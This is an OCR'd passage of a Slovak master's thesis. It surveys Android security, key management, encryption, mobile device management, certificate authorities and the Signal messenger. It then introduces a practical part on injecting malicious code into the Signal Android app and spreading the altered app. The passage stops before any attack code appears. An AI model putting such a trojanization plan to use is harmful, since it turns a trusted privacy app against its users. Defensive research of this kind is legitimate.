nezaviedli mentalny alebo financny zavazok k aplikacii a mohli ju 'ahko porovnat’ s inymi

alternativnymi aplikaciami. [6]

Zamerom systému Android je, aby uzivatelia mohli bez problémov volit medzi
aplikdciami. Poskytovanie potvrdeni zakazdym spomali uZivatela a zabrdni systému

Android v poskytovani skvelého uzivatel'ského komfortu. [6]

Stadie uzivatelského rozhrania ukazali, ze velké mnoZstvo vyziev uzivatelovi sposobi, ze
uzivatel' zacne v akomkol'vek zobrazenom dialdgovom okne volit’ OK. Jednym z cielov
zabezpecenia systému Android je efektivne sprostredkovat uzivatelom dolezité
bezpec¢nostné informécie, ktoré nie je mozné realizovat’ pomocou dialégovych okien, ktoré

uzivatel nebude ignorovat’. [6]

3.3 SIM Kkarta

Pristup tretich osob k SIM karte nie je k dispozicii pre aplikacie tretich stran. Operac¢ny
systém spracovava vSetku komunikéaciu s kartou SIM vratane pristupu k osobnym
informaciam a kontaktom v pamaéti karty SIM. Aplikécie tieZ nemo6zu ziskat' pristup k
prikazom AT, pretoze tieto si spravované vylu¢ne pomocou vrstvy radiového rozhrania

RIL. RIL neposkytuje pristup pre Ziadne API na vysokej trovni. [6,7]

3.4 Osobné informacie

Android zaclenil rozhrania API, ktoré poskytuju pristup k uzivatel'skym udajom, do
chranenych rozhrani API. Pri normalnom uzivani budu zariadenia Android zhromazd'ovat’
udaje o uzivateloch v aplikaciach tretich stran inStalovanych uZivateI'mi. Aplikacie, ktoré
sa rozhodnu zdiel'at informacie, mo6zu pomocou kontrol povoleni systému Android OS

chranit’ udaje pred aplikaciami tretich stran. [6,7,19]
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3.5 Metadata zariadenia

Android sa snazi obmedzit’ pristup k udajom, ktoré nie su citlivé, ale moézu nepriamo
odhalit’ charakteristiky uzivatela, preferencie uzivatela a spOsob, akym pouzivaju

zariadenie. [6,7]

3.6 Podpisanie aplikacii

Podpis kodu umozituje vyvojarom identifikovat autora aplikacie a aktualizovat’ svoju
aplikaciu bez tvorby komplikovanych rozhrani a povoleni. Kazda aplikéacia spustend na
platforme Android je podpisand vyvojarom. Zadavatel’ aplikacie, ktory sa poktsa nahrat
aplikéciu bez toho, aby bola podpisana, spolocnost’ Google Play alebo instalator balika na

zariadeni Android odmietne. [6,7]

Podpisovanie aplikaci predstavuje nevyhnutny zidklad pre doveru medzi spolocnostou
Google, vyvojarom a pouzivatelom. Vyvojari vedia, ze ich aplikacia je v zariadeni

Android neupravovana a su tak zodpovedni za spravanie svojej aplikacie. [6,7]

V systéme Android je podpisanie aplikidcie tvodnym krokom k umiestneniu aplikécie do
karantény aplikacii. Podpisany aplikacny certifikét urcuje, ktoré uzivatel'ské ID je spojené
s ktorou aplikaciou. Kazda aplikacia bezi pod réznymi uZivatel'skymi ID. Podpisovanie
aplikacii zarucuje, ze jedna aplikécia nema pristup k ziadnej inej aplikéacii okrem dobre

definovaného IPC. [6,7]

3.7 Overenie aplikacie

Systém Android 4.2 a novsi podporuji overenie aplikacie. UZivatelia sa m6zu rozhodnit’
povolit overenie aplikdcie a nechat' aplikdcie pred inStalaciou vyhodnotit’ pomocou
overovaca aplikacii. Overenie aplikacie moze upozornit uzivatela, ak sa pokusi

nainStalovat’ Skodliva aplikaciu. [6,7,19]

3.8 Sprava digitalnych prav

Platforma Android poskytuje SirSiu pdsobnost’ ramcov DRM, ktord umoziuje aplikaciam
spravovat’ obsah chraneny pravami podla licencnych obmedzeni, ktoré su spojené
s obsahom. Ramec DRM podporuje vel'a schém DRM. Schéma DRM, ktoru zariadenie

podporuje, je ponechand na vyrobcovi zariadenia. [6,7]
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4 KEUCOVE HOSPODARSTVO

Spravovanie klI'iCov oznacuje spravu kryptografickych kl'aiCov v kryptosystéme. Zahiia to
rieSenie generovania, vymeny kli¢ov, pouzivania, kryptomaterii a ukladania. Zahiiia navrh
kryptografickych protokolov, kl'icové servery, uzivatel'ské postupy a d’alSie prislusné

protokoly. [7]

Sprava kl'acov sa tyka kI'icov na uzivatel'skej urovni - medzi uzivate'mi alebo systémami.
V tom je rozdiel od planovania kli¢ov, ktoré sa zvycCajne tyka vniatorného zaobchadzania

s kIai¢mi v ramci operacie Sifry. [7]

Uspesna sprava kI'i€ov je naroénej$ia a je rozhodujiica pre bezpegnost’ kryptosystému
v tom zmysle, ze zahfiia aspekty socidlneho inZinierstva, ako su systémova politika,
Skolenie pouzivatel'ov, interakcie medzi organizaciami a oddeleniami a koordindcia medzi
vSetkymi tymito prvkami, na rozdiel od ¢isto matematickych postupov, ktoré je mozné

automatizovat’. [7]

4.1 Typy klicov

Kryptografické systémy mozu pouZivat' viacero typov klIicov, priCom niektoré systémy
pouzivaju viac druhov kl'icov. Mozu zahfnat symetrické kI'ice alebo asymetrické kl'uce.
V algoritme symetrického klti¢a sa pouziva jeden kI'Gi¢ pre Sifrovanie aj deSifrovanie
spravy. Takéto klI'i¢e sa musia bezpecne uchovavat,, starostlivo vyberat’ a distribuovat’. Pri
asymetrickych kIi¢och hovorime o verejnom a privatnom kl'u¢i, o st dva odlisné kl'uce,
ktoré su matematicky spojené. PouZivaji sa na komunikaciu. Infrastruktira verejného
kl'ai¢a a implementacia kryptografie verejného kl'ica, vyzaduje, aby organizicie, ktoré
vyuzivaju takéto kla€e, vytvorili infraStruktiru na vytvaranie a spravu parov verejnych

a sukromnych kI'iCov spolu s digitdlnymi certifikdtmi. [7]

4.2 Inventar

Vychodiskom akejkol'vek stratégie riadenia certifikitov a stkromnych kIa¢ov je
vytvorenie komplexného zoznamu vSetkych certifikatov, ich umiestneni a zodpovednych
stran. Toto je zlozité, pretoZze certifikaty z roznych zdrojov su rozmiestnené na réznych

miestach r6znymi osobami a roznymi skupinami. To znamen4, Ze nie je mozné spolahnut’
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sa na zoznam od jednej certifikacnej autority. Neobnovené a nevymenené certifikaty, pred

ukoncéenim ich platnosti, mo6zu spdsobit’ vazne prestoje a vypadky. [7]

4.3 Kroky riadenia

Inventarizacia kliCov a spravovanie klucov obvykle pozostdva z vymeny, ulozenia

a pouzitia kl'acov. [7]

4.3.1 Vymena klucov

Pred kazdou zabezpecenou komunikaciou si musia uzivatelia nastavit’ podrobnosti
kryptografie. V niektorych pripadoch si to vyzaduje vymenu identickych kIcov.
V ostatnych moze vyzadovat vlastnictvo verejného kl'i¢a druhej strany. Verejné kl'uce sa
mozu verejne vymienat’ pri com symetrické kl'ice sa musia vymienat’ prostrednictvom
zabezpecenej komunikacie. Vymena takéhoto kl'ica bola v minulosti vel'mi problematicka

a pristup k zabezpecenej komunikécii, ako diplomaticka taska, sa ulahcil. [7]

Pre moderné systémy, ako st systémy kompatibilné s OpenPGP plati, Ze kI'i¢ relacie pre
algoritmus symetrického klica je distribuovany a Sifrovany algoritmom asymetrického

kl'ai¢a. V tomto pripade sa vyluCuje nutnost’ pouzitia protokolu vymeny klucov. [7]

Inym sposobom vymeny kl'i€ov je zapuzdrenie jedného kI'i¢a do druhého. Primarny kl'ac¢
sa zvy€ajne generuje a vymietia pomocou niektorej zabezpecenej metddy. Tieto metody su
vacSinou tazkopadne alebo nakladné pri rozdeleni primarneho klIica na viac cCasti
a zaslanie kazdej Casti doveryhodnym kuriérom, ale tento kl'a¢ nie je vhodny na pouZitie
vo véacSom rozsahu. Akondhle je primarny kI'i¢ bezpe¢ne vymeneny, mdze sa pouzit’ na
bezpecnil vymenu naslednych kl'i¢ov. Tato technika sa zvy€ajne nazyva zabal kl'ucov.

BeZna technika pouziva blokové Sifry a kryptografické hashovacie funkcie. [7]

Podobnou metdodou je vymena primarneho klI'i¢a, nazyvaného aj korenovy kluc¢
a odvodenie pomocnych kI'i¢ov, podla potreby z tohto kl'ica a niektorych d’alSich udajov
Casto oznaCovanych ako diverzifikatné udaje. Najviac pouzivand metoda je
pravdepodobne v kryptosystémoch zaloZenych na ¢ipovych kartach, prikladom ktorych su
bankomatové karty. Banky vkladaji svoj tajny kI'i¢ do pamétového klica karty pocas

vyroby karty v zabezpecenej vyrobe. Potom v mieste predaja si karta aj citacka kariet
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schopnd odvodit’” spolo¢ni sadu kltucov relacie na zdklade zdiel'ané¢ho tajné¢ho klica

a udajov Specifickych pre kartu. [7]

4.3.2 Ukladanie kPucov

KItce sa vSak musia distribuovat’ tak, aby sa zachovala bezpecnost komunikécie. Pre
zachovanie bezpe€nosti sa na tento ucel pouzivaji rézne techniky. Najbeznejsie je to, Ze
Sifrovacia aplikacia riadi kI'iCe pre uZzivatela a zavisi od pristupového hesla, ktoré riadi
pouzivanie kl'ica. Podobne v pripade pristupovych platforiem pre bezkli¢ové smartfony
sa uchovavaju vsetky identifikacné informacie o vstupoch mimo mobilnych telefénov
a serverov a Sifruju vsetky udaje, kde rovnako ako low-tech klIi¢e poskytuji uzivatelia

kody iba tym, ktorym doveruju. [7]

4.3.3 Krucové pouzitie

Najvacsim problémom je doba, pocas ktorej sa ma kl'u¢ pouzivat, tato doba sa nazyva
frekvencia vymeny kl'uca. KI'i¢e by sa mali ¢asto vymienat, pretoze to zvysuje celkovu
bezpeénost’ systému. Casta vymena kI'tov zniZuje percento straty informacii, pretoze
pocet uloZenych Sifrovanych sprav, ktoré sa daji Citat, pri najdeni kl'uca, sa znizi so
zvySujucou sa frekvenciou zmeny kl'aca. Symetrické Sifrovanie sa pouziva uz dlha dobu.
V minulosi bola vymena kl'icov zlozitd alebo iba obcasnd. V idedlnom pripade by sa
symetricky kI'a¢ mal menit’ s kazdou sprévou, takZe iba jedna sprava bude citatelna

s jednym kI'aCom. [7]

4.4 Vyzvy

Informacno technologické organizacie celia nasledovnym, problémom pri pokuse

o kontrolu a spravu Sifrovacich kl'icov:
Skalovatel'nost: Sprava vel'kého poctu Sifrovacich kl'icov.

Bezpecnost’: Zranitel'nost’ kI'iC¢ov od vonkajSich hackerov, Skodlivych zasvitenych osob.
Dostupnost:  ZabezpeCenie pristupu k udajom pre opravnenych uzivatel'ov.
Heterogenita: Podpora viacerych databaz, aplikacii a Standardov.
Sprava: Definovanie riadenia pristupu a ochrany tidajov na zaklade politiky. Sprava zahtiia

dodrziavanie poziadaviek na ochranu udajov. [7]
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Dodrziavanie: Dodrziavanie kI'i€ov sa tyka dohladu, uistenia a schopnosti dokdzat’, ze

klice st bezpecne spravované. Zahtia to tieto jednotlivé zasady dodrziavania predpisov:

Fyzicka bezpeCnost’ - zahfna npr. uzamknuté dvere na zabezpeCenie systémového
vybavenia a sledovacie kamery. Tieto opatrenia mo6zu zabranit’ neopravnenému pristupu
k tlaCenym materidlom a pocitaCovym systémom, ktoré pouzivaji softvér na spravu
kl'acov.

Logicka bezpec¢nost’ - chrani organizaciu pred kradezou alebo neopravnenym pristupom
k informaciam. Tu sa pouzivaju kryptografické klI"i¢e pre Sifrovanie idajov, €o je potom

zbyto¢né pre tych, ktori nemaji kI'i€ na jeho deSifrovanie.

Persondlna bezpecnost’ - to znamena pridelenie konkrétnych uloh alebo opravneni urcitym

osobam na pristup k informaciam na zéklade prisnej potreby poznania. [7]
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5 SIFROVANIE

Jednoducho povedané, Sifrovanie je zapisovanie textu v takej podobe, aby mu nepovolany
Sitatel’ nemal $ancu porozumiet. Sifrovanie sa pouziva v réznych podobach napriklad pri
komunikéacii dvoch osob. Ucastnik mé informéciu, ktor potrebuje poslat’ inému.
Sifrovanim sa dosiahne aby si spravu nemohola preéitat’ tretia strana. Kryptografia je
vednd oblast’ ktora sa zaoberd ukryvanim obsahu textu pred nepovolanymi osobami.
Kryptoanalyza je vedna oblast’, ktord sa zaobera Studiom metdd, ktoré mdze utocnik
pouzit' pri snahe dostat’ sa do zaSifrovaného textu a ziskat' utajované informaécie.
Steganografia (povodom z gréctiny stegands-schovany, graphein-pisat’) je vedna disciplina

zaoberajlca sa utajenim komunikace prostrednictvom ukrytia spravy. Sprava je skryta tak,

aby si pozorovatel neuvedomil, Ze komunikacia vobec prebieha. [5-7]

Obrazok 4 Sifrovanie [17]

5.1 Sifrovanie informacii

Pri priamej komunikacii s druhou osobou nie je problém informaciu bezpe¢ne odovzdat.
Problém nastane vtedy, ked’ komunikécia medzi odosielatelom a prijimatel'om informéacie
je verejne pristupnd, komunikécia nie je sikromnd ani utajend, je pritomnych viac l'udi,

komunikacia je odpocivana. Za takito nezabezpefeni komunikiciu sa povazuje aj
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komunikacia na internete. Zasielanie emailu alebo posielanie niektorych udajov cez

internet moze byt vel'mi jednoducho odpocuvané. [5-7]
Teraz prichadza uloha Sifrovania - kryptografie.

Existuje niekol’ko moznosti, ako zaSifrovat’ spravu tak, aby sa naruSitelovi Co najviac
stazila uloha desifrovania a tym precitania spravy. Z praktického hl'adiska sa méze hovorit’
o zabraneni deSifrovania spravy. Inak povedané, deSifrovanie spravy vyuZzitim
modernych a rychlych pocitacov moze byt prakticky nerealizovateI'né. Problém
desifrovania sa moze chapat’ aj ako problém najdenia kl'ica, pomocou ktorého sa sprava

zaSifrovala. [5-7]

Podra toho, aky kI"a¢ sa pouzije sa hovori o kryptografii symetrickej a asymetricke;j. [5]
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6 MOBILE DEVICE MANAGEMENT

MOBILE DEVICE MANAGEMENT

Obrazok 5 Mobile device management [18]

Mobile device management (skratka MDM) je odborny termin pre spravu mobilnych
zariadeni, ako su smartfony, tabletové pocitace a notebooky. Mobile device management
sa zvy€ajne implementuje s pouzitim produktu tretej strany, ktory ma funkcie spravy pre
konkrétnych predajcov mobilnych zariadeni. Mobile device management je zvycajne
nasadenie kombinacie aplikacii a konfiguracii na zariadeni, podnikovych politik,
certifikdtov a spétnej infraStruktiry za uc€elom zjednoduSenia a zlepSenia spravy IT
zariadeni koncovych uZivatelov. V modernych podnikovych IT prostrediach samotny
pocet spravovanych zariadeni motivovali rieSenia mobile device management, ktoré
umoznuju konzistentni a Skalovatel'nii spravu zariadeni a uZivatel'ov. Celkovou ulohou
mobile device management je zvySenie podpory zariadeni, bezpecnosti a podnikovych
funkcii pri zachovani urcitej flexibility uzivatelov. Mnoho organizécii spravuje zariadenia
a aplikacie pomocou produktov a sluzieb mobile device management. Mobile device
management sa primarne zaoberda oddelenim podnikovych udajov, zabezpeCovanim e-
mailov, zabezpefovanim podnikovych dokumentov na zariadeniach, presadzovanim

podnikovych politik, integraciou a spravou mobilnych zariadeni vratane notebookov.
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Implementacie mobile device management mézu byt na mieste alebo v cloude. Medzi

zakladné funkcie mobile device management patria:

Zabezpecenie toho, aby bolo rozmanité uzivatel'ské vybavenie nastavené v sulade so

Standardnou sadou aplikacii, funkcii alebo firemnych zasad. [8,24]

Zabezpecenie toho, aby uZzivatelia pouzivali aplikacie konzistentnym a podporovatelnym

sposobom. [8]

Zabezpecenie konzistentného fungovania zariadenia. [8]

Schopnost’ efektivne diagnostikovat’ a odstraniovat’ problémy so zariadenim na dialku. [8]

Medzi funkcie mobile device management moZze patrit’ bezdrdtova distribacia aplikacii,
udajov a nastaveni konfigurdcie pre vSetky typy mobilnych zariadeni vratane mobilnych
telefonov, smartfonov, tabletovych pocitacov. Najnovsie notebooky a stolové pocitace boli
doplnené do zoznamu podporovanych systémov, pretoze sprava mobilnych zariadeni sa
zaobera zékladnou spravou a menej samotnou mobilnou platformou. Nastroje mobile
device management si pouzivané pre podnikové aj zamestnanecké zariadenia v rdmci
podniku alebo mobilnych zariadeni vlastnenych spotrebite'mi. Spotrebitel'ské poziadavky
si aktudlne vyZaduju zvySenie uUsilia o zabezpecenie zariadeni a rovnako aj podnikovej
infrastruktury, ku ktorej sa pripdjaji. ZvidcSa nastdva situdcia, Ze zamestnavatelia
a zamestnanci maju rdézne ocakavania tykajlice sa typov obmedzeni, ktoré by sa mali
uplatiiovat’ na mobilné zariadenia. Riadenie a ochrana udajov a konfiguracnych nastaveni
vSetkych mobilnych zariadeni v sieti pomdze mobile device management znizit’ ndklady na
podporu a obchodné rizikd. Zamerom mobile device management je vylepSit funkénost’
a bezpe¢nost mobilnej komunikacnej siete a zarovenl minimalizovat’ néklady a prestoje.
So zvySujucim sa poctom a vSadepritomnost'ou mobilnych zariadeni a zaplavou aplikacii
na trhu rastie vyznam mobilnych zariadeni. Predpokladd sa, ze vyuzivanie spravy
mobilnych zariadeni v celom sektore bude rast’ rovnomernym tempom a pravdepodobne do
roku 2028 zaregistruje rocnii mieru rastu takmer 23%. Pocetni dodavatelia pomahaju
vyrobcom mobilnych zariadeni, portalom obsahu a vyvojarom testovat a monitorovat
dodavanie svojho mobilného obsahu, aplikacii a sluzieb. Toto testovanie obsahu sa
vykonéva v redlnom ¢ase simulaciou akcii tisicov zdkaznikov a zistovanim a opravovanim

chyb. [8,24]
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6.1 Zabezpecenie mobilnych zariadeni

Vsetky produkty mobile device management su vyrobené s myslienkou na boxy. Zasobnik
mobile device management je zabezpeCeny pomocou najmodernejSich kryptografickych
technik ako AES-256. Firemné udaje, ako napriklad e-mail, dokumenty a podnikové
aplikacie, su Sifrované a spracovavané vo vnutri boxu. To zaist'uje, Ze podnikové udaje st
v zariadeni oddelené od osobnych udajov uzivatela. Okrem toho je mozné vynutit
Sifrovanie celého zariadenia a karty SD v zavislosti od schopnosti produktu mobile device

management. [8]

Zabezpecené dokumenty: Zamestnanci ¢asto kopiruju prilohy stiahnuté z podnikového e-
mailu na svoje osobné zariadenia a potom ich zneuzivaji. Mobile device management
modze obmedzit’ alebo zakazat’ pouzitie schranky do alebo z bezpe¢ného boxu, obmedzit

posielanie priloh do externych domén alebo zakdzat’ ukladaniu priloh na SD kartu. [8]

Zabezpeceny prehladavac: Pomocou zabezpefeného prehladavaca je mozné vyhnut sa

mnohym potencialnym bezpecnostnym rizikdm. Kazdé rieSenie mobile device

management sa dodava so zabudovanym vlastnym prehliada¢om. Spravca moze zakazat

nativne prehladavace, aby prinatil pouzivatelov pouzivat zabezpeceny prehladavac

v kontajneri mobile device management. Filtrovanie adries URL je moZné vynutit
: 9 9 v v e . . v oz R . . .

a pridat’ dalSie bezpecnostné opatrenia. Rovnako je mozné vynutit' pripojenie cez

podnikovy proxy server, alebo VPN siet’. [8,24]

Zabezpeceny katalog aplikacii: Organizdcie mozu distribuovat, spravovat a inovovat

aplikacie na zariadeni zamestnanca pomocou Katalogu aplikacii. [8]
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7 ZABEZPECENIE CERTIFIKATOM

V kryptografii je certifikacna autorita skratka CA entita, ktord vydéava digitalne certifikaty.
Digitalny certifikdt potvrdzuje vlastnictvo verejného kli¢a menovanym predmetom
certifikatu. Toto umoziiuje inym spoliehat’ sa na podpisy alebo na tvrdenia tykajiuce sa
sukromného klica, ktory zodpoveda certifikovanému verejnému kl'ucu. Certifikacna
autorita kond ako doveryhodna tretia strana - ktorej doveruje subjekt certifikatu a strana,
ktora sa na certifikat spolieha. Format tychto certifikatov je Specifikovany v norme X.509.
Jednym z najbeznejSich spdsobov pouzitia pre certifikacné autority je podpisovanie
certifikdtov pouzivanych v HTTPS, protokole zabezpeceného prehliadania pre internet.
Dal§im beznym spdsobom je vydavanie preukazov totoznosti vladami &lenskych $tatov na

pouzitie v elektronickom podpisovani dokumentov. [9, 10, 20, 21]
7.1 Prehlad

Doveryhodné certifikaty sa pouzivaju na vytvorenie bezpecného pripojenia k serveru
prostrednictvom internetu. Certifikat je nevyhnutny na to, aby sa zabranilo precitaniu sprav
medzi uzivatel'om a cielovym serverom potencionalnemu tto¢nikovi, ktory sa nachadza na
ceste k cielovému serveru a kona tak, akoby bol cielovym serverom. Tento scenar sa
oznacuje ako utok typu c¢lovek v strede (man in the middle). Klient si pred pripojenim na
server overi jeho certifikat, ktory musi byt vydany, respektive podpisany doveryhodnou
certifikacnou autoritou. Po uspeSnom overeni certifikdtu sa zacne s vytvdranim
zabezpeceného pripojenia. Klientsky softvér ako prehliada¢ spravidla obsahuje sadu
doveryhodnych certifikatov - doveryhodnych certifikacnych autorit. Klienti certifikacne;j
autority su supervizori serverov, ktori Ziadaju od certifika¢nej autority vydanie certifikatu
pre svoj server. Komer¢né certifikacné autority uctuji peniaze za vydanie certifikatov a ich
zdkaznici ocCakavaju, ze certifikat certifikaCnej autority bude obsiahnuty vo vécSine
webovych prehliadacov, aby bezpecné pripojenia k certifikovanym serverom fungovali
efektivne po spusteni. Vela internetovych prehliadacov, réznych zariadeni a aplikacii,
ktorym doveruje prislusnd certifikatna autorita, sa oznacuje ako vSadepritomnost.

[9,10,21]
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7.2 Poskytovatelia

Na svete je Cinnost' certifikacnej autority rozc¢lenend, pricom na ich domacom trhu
dominuju narodni alebo regiondlni poskytovatelia. Dovodom je skutocnost, ze mnohé
pouzitia digitalnych certifikatov, napriklad pravne zavézné digitdlne podpisy, st spojené
s miestnymi zdkonmi, predpismi a akreditatnymi schémami pre certifikacné autority.
Trh s globdlnymi doveryhodnymi serverovymi certifikatmi TLS a SSL vsak vo vécSine
patri malému mnozstvu nadnarodnych spolo¢nosti. Tento segment ma rdzne poziadavky
pri vstupe na trh a to z dévodu technickych poziadaviek. Hoci to nie je z pravneho
hladiska nutné, novi poskytovatelia, ktori maji byt webovym prehliadacom alebo
operaénym systémom zaradené ako doveryhodny root musia zvdé$a absolvovat rocné
bezpecnostné audity. Vo webovom prehliadaci Mozilla Firefox, ktory predstavuje priblizne
osemdesiat organizacii, je doveryhodnych viac ako 180 korenovych certifikatov. MacOS
doveruje viac ako 200 koretiovym certifikdtom. Od verzie Android 4.2 Jelly Bean obsahuje
Android v sucasnosti viac ako 100 certifikaénych autorit, ktoré sa aktualizuju s kazdym

vydanim. [9, 10]
7.3 Valida¢ny Standard

Komer¢né certifikacné autority, ktoré vydavaju certifikdty pre servery ako HTTPS,
vacSinou pouzivaju na overenie totoZnosti prijemcu certifikatu techniku, ktora sa nazyva
validacia domény. Techniky pouZzité na overenie domény sa medzi jednotlivymi
certifikaCnymi autoritami liSia, ale vo vSeobecnosti s techniky overovania domény urcené
na preukdzanie toho, ze Ziadatel o certifikdt kontroluje dané doménové meno.
Mnohé certifikacné autority ponukaju certifikaty rozsirenej validacie EV ako prisnejSiu
alternativu k certifikdtom overenym v doméne. Uelom rozsirenej validacie je preverit
nielen kontrolu nad nazvom domény, ale aj d’alSie informacie o totoznosti, ktoré sa maju
zahrut' do certifikatu. Niektoré prehliadace zobrazuji tieto informacie o totoznosti
v zelenom poli na paneli s adresou URL. Jednym obmedzenim EV ako rieSenia slabych
stranok pri validacii domény je to, zZe Gto¢nici mohli ziskat’ osvedcenie o overeni domény
pre doménu obete a nasadit’ ju pocas utoku. V pripade, ze by sa tak stalo, rozdiel, ktory by
bol pre obete viditeIny, by bol v tom, Ze by neexistoval zeleny pruh s ndzvom spolocnosti.
Je na mieste otazka, ¢i by pouZivatelia boli schopni rozpoznat tato skutoc¢nost’ ako

indikéciu prebiehajuceho utoku. V roku 2009 prebehol test v prehliadaci Internet Explorer
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7, ktory ukézal, ze absenciu varovani EV IE7 pouzivatelia nezaznamenali, avSak sucasny
prehl’'adavac spolo¢nosti Microsoft Edge, ukazuje vyrazne vac¢si rozdiel medzi certifikatom
EV a certifikatom domény, priCom certifikaty overené doménou maji duty, Sedy zdmok.

[9, 10, 21]
7.4 Nedostatky overenia

Overenie domény trpi uritymi obmedzeniami Strukturalnej bezpecnosti. Je nachylny na
utoky, ktoré protivnikovi umoziiuji pozorovat sondy na overenie domény, ktoré
certifikané autority zasielaji. Patria sem utoky proti protokolom DNS, TCP alebo BGP,
ktorym chyba kryptografickd ochrana TLS alebo SSL ¢i kompromis smerovacov. Tieto

utoky st mozné v sieti blizko CA alebo v blizkosti samotnej domény obete. [9, 10]
7.5 Zabezpecenie

Je tazké zabezpecCit spravnost zhody medzi udajmi a entitami, ked’ sa udaje zasielaju
certifikovanou autoritou prostrednictvom elektronickej siete a ked’ sa predlozia aj
poverovacie udaje osoby ¢i spolo¢nosti alebo programu, ktora ziada o osvedcenie. Kvoli
tomuto dovodu obchodné certifikacné organy pouZivaju kombinéciu technik autentifikacie
vratane vyuZivania vladnych uradov, platobnej infraStruktary, databaz a sluzieb tretich
strdn a vlastnej heuristiky. Vo vybranych podnikovych systémoch sa na ziskanie
certifikatu, ktory moézu zase vyuzivat externé spolahlivé strany, mozu pouZzit miestne
formy autentifikécie, ako je Kerbe-ros. V niektorych pripadoch st notari povinni osobne
poznat’ stranu, ktorej podpis je notarsky overeny, to je vyS$i Standard, ako sa dosahuje

v mnohych certifika¢nych autoritach. [9, 10]
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8 APLIKACIA SIGNAL

Pocas intenzivneho sledovania komunikacie vlddami musi uzivatel' néjst’ sposob, ako
chranit’ svoje stkromie. Jednou z najlepSich moznosti je svoju komunikaciu Sifrovat’.
Moxie Marlinspike sa niekol'’ko rokov snazil vytvorit’ jednoduchu aplikaciu, ktora dokaze

komunikaciu bezpecne zasifrovat. Vyslednym produktom pre bezpecni komunikiciu je

aplikécia Signal. [11-13]

Obrazok 6 Signal ikona [19]
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8.1 Co je Signal

Signal je vol'ne dostupna aplikacia s otvorenym zdrojovym koédom. Tato aplikacia je
zamerana na odosielanie a prijimanie sprav a telefonovania prostrednictvom IP sieti. Jedna
sa o projekt Moxie Marlinspika a jeho neziskovej organizacie Open Whisper Systems,
ktort tvori skupina etickych hackerov, ktori sa snazia stazit vladam Spehovanie
komunikacii svojich obcanov. V minulosti vytvorili uz niekol’ko aplikacii zameranych na

bezpecnu komunikaciu ako TextSecure alebo RedPhone. [11-13,22,23]

8.2 Zabezpecenie

Aplikacia Signal je open source, o znamena, ze kod je pre kazdého volne dostupny za

ucelom kontroly a overenia funkénosti. [12,13]

Aplikacia Signal Sifruje a deSifruje kazda spravu odosielatel’a pred jej odoslanim a po jej
prijati na zariadenie. Tato komunikacia by tak nemala byt pocas svojho prenosu Citatel'na

tretou stranou. [12,13,23]

Na Sifrovanie textu sa vyuziva metdda perfect forward secrecy. I napriek tomu, ze sa
utocnikovi podari ziskat akykol'vek kIGi¢, nepodari sa mu precitat’ celt konverzaciu.
Odoslany text je Sifrovany pomocou 256-bit AES kl'ica a HMAC-SHA256 ako obrana
proti man-in-the-middle utoku. [12,13]

Hovory st Sifrované pomocou AES-CBC so silou 128 bitov a SHA1. Téato metoda
Sifrovania je slabSia ako pri textovych spravach, no UcinnejSie Sifrovanie hovorov by si
vyzadovalo vykonnejSie zariadenie, ¢o by zhorSilo kvalitu hovoru. Ak teda uZivatel

vyZaduje najvyssiu kvalitu Sifrovania je doporucené vyuzivat iba textové spravy.

Aplikacia Signal presla taktieZ aj testom EFF, ktory nenaSiel Ziadnu chybu a ani zésadny

nedostatok a ttto aplikaciu tak oznacil za bezpec¢nu. [12,13,22]

8.3 Testovanie

Aplikacia Signal ma jednoduché a intuitivne rozhranie. Ovlada sa jednoducho a uzivatel'a

nezahlcuje nastaveniami technickych parametrov. [12,13]



UTB ve Zliné, Fakulta aplikované informatiky 43

Primarne menu obsahuje predchadzajuce spravy. Po kliknuti na spravu sa otvori nové
okno, kde je mozné pokracovat’ v komunikacii. Pomocou sprav sa mozu okrem textu
posielat’ aj obrazky, video a iné subory. Rozpisanie novej spravy sa uskuto¢ni kliknutim na

modru ikonu v pravom dolnom rohu. [12,13]

Textové spravy a hovory s druhou osobou budu Sifrované len ak aj druhd osoba taktiez
pouziva aplikaciu Signal. Ak nie je uzivatelom aplikacie, méze byt osoba vyzvana
k pouzivaniu aplikacie pomocou SMS spravy. Signal umoziuje vytvorit’ skupinovy chat.

[12,13]

Prenos audio rozhovoru bude Sifrovany len vtedy, ak s obaja Ucastnici uZivatemi
aplikacie Signal a tento hovor sa uskutocni cez internet. Z dovodu uspory datovej kapacity
je lepsie byt pripojeny na Wi-Fi ako na mobilné data. Ak jeden z ucastnikov nie je

uzivatel'om aplikacie Signal, komunikdacia sa neSifruje. [12,13]

V pripade komunikécie s uzivatel'om aplikécie Signal, modra ikona v pravom dolnom rohu
sa pri pisani zmeni na Sipku so zamknutym zdmkom. Po odoslani spravy je mozné uvidiet
pod spravou ikonu zamknutého zamku. V pripade nezabezpecenej komunikécie, sa objavi

ikona otvoreného zamku. [12,13]

V nastaveniach sa m6zu menit’ spdsoby zobrazovania notifikacii, ich vzhlad, vytvarat’ si
hesla pre aplikdciu, importovat’ alebo exportovat’ spravy ¢i prepojit’ mobilnli aplikéciu

s webovou aplikaciou. [12,13]
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II. PRAKTICKA CAST
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9 OPIS POSTUPU

Prakticka Cast’ diplomovej prace sa zaobera popisom praktickych rieseni, ktoré boli vyuzité
na infikovanie kodu aplikace Signal. V praktickej Casti je identifikovany presny postup
vyuzitia chyby, pouzity softvér, spésoby a metddy injektaze aplikacie Signal Skodlivym
kodom. Dalej st popisané spdsoby, ako by sa dala tako napadnuta aplikacia §irit’, a z toho
vyplyvajlice moznosti zneuzitia a informadcii, ktoré nam napadnuta aplikacia dokaze
spristupnit’. Taktiez st navrhnuté mozné sposoby ochrany pred nevedomym stiahnutim
takto napadnutej aplikacie a sposobu zabezpecenia injektaze Skodlivého kodu do aplikécie.
V tejto Casti su taktiez nazorne predvedené redlne moznosti zabezpeceia poskytovaného

systémom Mobile device managment.
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10 POSTUP UTOKU

Na overenie odolnosti voci ttokom bola vybrana aplikacia Signal. Vyber aplikéacie bol

uskuto¢neny organizaciou, pre ktort sa prakticka ¢ast’ diplomovej prace realizovala.

10.1 Aplikacia Signal

Najprv bol preskumany zdrojovy kéd v programe Android Studio. Kod alikacie Signal pre

Android je volne dostupny, tym ze alikdcia je open source na webovej stranke

www.github.com. Z tejto webovej strany bol kdéd aplikacie prevzaty.

o Why GitHub? Enterprise Explore Marketplace Pricing Signin | Sign up
signalapp / Signal-Android ©Watch 739 kStar 129k | YFork 33k
<> Code Issues 511 Pull requests 104 Actions Projects 1 Wiki Security Insights

Join GitHub today Dismiss

GitHub is home to over 40 million developers working together to host and
review code, manage projects, and build software together.

A private messenger for Android. https://signal.org

-0~ 5,184 commits 7 174 branches 79 0 packages © 581 releases 48 194 contributors &s GPL-3.0

Branch: master v Find file Clone or download
